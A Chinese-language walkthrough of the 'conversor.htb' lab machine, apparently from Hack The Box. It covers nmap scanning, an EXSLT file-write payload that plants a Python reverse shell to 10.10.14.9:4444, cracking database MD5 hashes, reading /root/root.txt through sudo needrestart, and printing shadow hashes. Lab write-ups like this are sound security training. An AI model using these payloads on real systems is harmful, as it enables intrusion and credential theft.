基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.92
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-01 15:13 JST
Nmap scan report for 10.10.11.92
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.10 seconds

80

需要加hosts:

1
10.10.11.92 conversor.htb

访问就是登录界面,随意注册登录,是上传nmap的xml报告和xslt文件转换展示的:

Conversor

source code

about里可以下载代码,查看代码知道是解析xml和xslt渲染:

并且install.md里可以知道会自动运行指定目录下任意python文件:

exslt writ file

根据以上信息,搜索,可以找到通过exslt写文件的方法:

那如果写入python代码,即可被自动执行

shell

所以就是通过xslt写入python文件,等待触发执行,得到www-data shell:

users.db

常规查看数据库得到hash,破解出密码

1
2
3
4
5
6
7
8
9
10
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db

sqlite> .tables
select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|admin|21232f297a57a5a743894a0e4a801fc3

sudo john --wordlist=/usr/share/wordlists/rockyou.txt -format=Raw-Md5 hash.txt

fismathack : Keepmesafeandwarm

miao.xslt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ptswarm="http://exslt.org/common"
extension-element-prefixes="ptswarm"
version="1.0">
<xsl:template match="/">
<ptswarm:document href="/var/www/conversor.htb/scripts/test2.py" method="text">
import os

os.system(
"bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.9/4444 0&gt;&amp;1'")
</ptswarm:document>
</xsl:template>
</xsl:stylesheet>

user flag

得到的账号密码ssh登录:

提权信息

可以sudo运行一个自定义脚本,代码很长,但直接看帮助文档知道可以指定配置文件,而配置文件解析部分代码会抛出报错信息,从而得到读取文件目的:

提权 & root flag

通过配置文件选项报错读文件

1
sudo /usr/sbin/needrestart -c /root/root.txt

shell

根据报错信息也知道是perl解析错误,所以可以使用perl代码来执行任意命令:

shadow

1
2
root:$y$j9T$CxUp91Y7aNmCAg.0BrP1N1$NFfbRCjYo56DBVoop2pwSbs9snvrUGR0IEINR4qZfmB:20301:0:99999:7:::
fismathack:$y$j9T$Em7KF.PXS5RiFQPkRzVUo.$tMXvaVSk5wpypsh250ddml9Ko./E8.7DnQSgs2AhKx2:20314:0:99999:7:::

参考资料